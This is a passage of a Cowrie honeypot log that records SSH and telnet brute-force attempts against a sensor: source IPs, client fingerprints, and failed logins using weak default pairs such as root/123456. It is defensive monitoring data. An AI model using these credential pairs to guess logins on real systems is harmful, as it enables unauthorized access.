":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:36.995798Z","src_ip":"37.143.61.84","session":"43697851201b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser01","message":"login attempt [ftpuser/ftpuser01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:39.090315Z","src_ip":"37.143.61.84","session":"43697851201b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:40.289715Z","src_ip":"37.143.61.84","session":"43697851201b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57764,"dst_ip":"159.203.135.109","dst_port":22,"session":"371e7c557009","protocol":"ssh","message":"New connection: 159.203.92.129:57764 (159.203.135.109:22) [session: 371e7c557009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:50.849104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:50.854023Z","src_ip":"159.203.92.129","session":"371e7c557009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:50.858810Z","src_ip":"159.203.92.129","session":"371e7c557009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123","password":"123456","message":"login attempt [123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:50.877739Z","src_ip":"159.203.92.129","session":"371e7c557009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:46:51.885648Z","src_ip":"159.203.92.129","session":"371e7c557009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56664,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a6cda67c5a7","protocol":"ssh","message":"New connection: 159.203.92.129:56664 (159.203.135.109:22) [session: 9a6cda67c5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:47:30.377217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:47:30.382632Z","src_ip":"159.203.92.129","session":"9a6cda67c5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:47:30.387923Z","src_ip":"159.203.92.129","session":"9a6cda67c5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1","password":"1","message":"login attempt [1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:47:30.400589Z","src_ip":"159.203.92.129","session":"9a6cda67c5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:47:31.408518Z","src_ip":"159.203.92.129","session":"9a6cda67c5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59022,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1cf6403c190","protocol":"ssh","message":"New connection: 159.203.92.129:59022 (159.203.135.109:22) [session: f1cf6403c190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:11.849496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:11.853937Z","src_ip":"159.203.92.129","session":"f1cf6403c190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:11.858490Z","src_ip":"159.203.92.129","session":"f1cf6403c190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1","password":"123","message":"login attempt [1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:11.871677Z","src_ip":"159.203.92.129","session":"f1cf6403c190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:12.878593Z","src_ip":"159.203.92.129","session":"f1cf6403c190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00648355484009,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:28.589188Z","src_ip":"67.128.120.127","session":"671f183efd87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":54090,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce10382ba0a6","protocol":"telnet","message":"New connection: 67.128.120.127:54090 (159.203.135.109:23) [session: ce10382ba0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:28.805066Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":54510,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77d3ace8907","protocol":"telnet","message":"New connection: 67.128.120.127:54510 (159.203.135.109:23) [session: a77d3ace8907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:37.737644Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34002,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f252b24497","protocol":"ssh","message":"New connection: 37.143.61.84:34002 (159.203.135.109:22) [session: d1f252b24497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:51.883207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:51.979225Z","src_ip":"37.143.61.84","session":"d1f252b24497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:52.081022Z","src_ip":"37.143.61.84","session":"d1f252b24497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57714,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5f4983f1ffc","protocol":"ssh","message":"New connection: 159.203.92.129:57714 (159.203.135.109:22) [session: a5f4983f1ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:54.074494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:54.078254Z","src_ip":"159.203.92.129","session":"a5f4983f1ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:54.084374Z","src_ip":"159.203.92.129","session":"a5f4983f1ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1","password":"123456","message":"login attempt [1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:54.093999Z","src_ip":"159.203.92.129","session":"a5f4983f1ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:55.099265Z","src_ip":"159.203.92.129","session":"a5f4983f1ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2021","message":"login attempt [user/user@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:57.185783Z","src_ip":"37.143.61.84","session":"d1f252b24497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:48:58.923762Z","src_ip":"37.143.61.84","session":"d1f252b24497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.4.222","src_port":32983,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc06111d576e","protocol":"telnet","message":"New connection: 122.168.4.222:32983 (10.17.0.5:23) [session: fc06111d576e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:02.508844Z"}
{"eventid":"cowrie.session.closed","duration":12.860624074935913,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:15.369341Z","src_ip":"122.168.4.222","session":"fc06111d576e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.162.216.223","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"207760c8c8d7","protocol":"ssh","message":"New connection: 116.162.216.223:34104 (159.203.135.109:22) [session: 207760c8c8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:16.898291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-makiko","message":"Remote SSH version: SSH-2.0-makiko","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:16.902805Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2f5ebb184f5d02324eed9a822f5259dc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1-etm@openssh.com,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1-etm@openssh.com","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2f5ebb184f5d02324eed9a822f5259dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:16.906216Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:17.731067Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:27.730398Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:29.049918Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":35794,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e5be78bdc3","protocol":"ssh","message":"New connection: 80.94.92.186:35794 (159.203.135.109:22) [session: 05e5be78bdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:31.757096Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:31.864740Z","src_ip":"80.94.92.186","session":"05e5be78bdc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59686,"dst_ip":"159.203.135.109","dst_port":22,"session":"101f364c3874","protocol":"ssh","message":"New connection: 159.203.92.129:59686 (159.203.135.109:22) [session: 101f364c3874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:36.026906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:36.034081Z","src_ip":"159.203.92.129","session":"101f364c3874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes2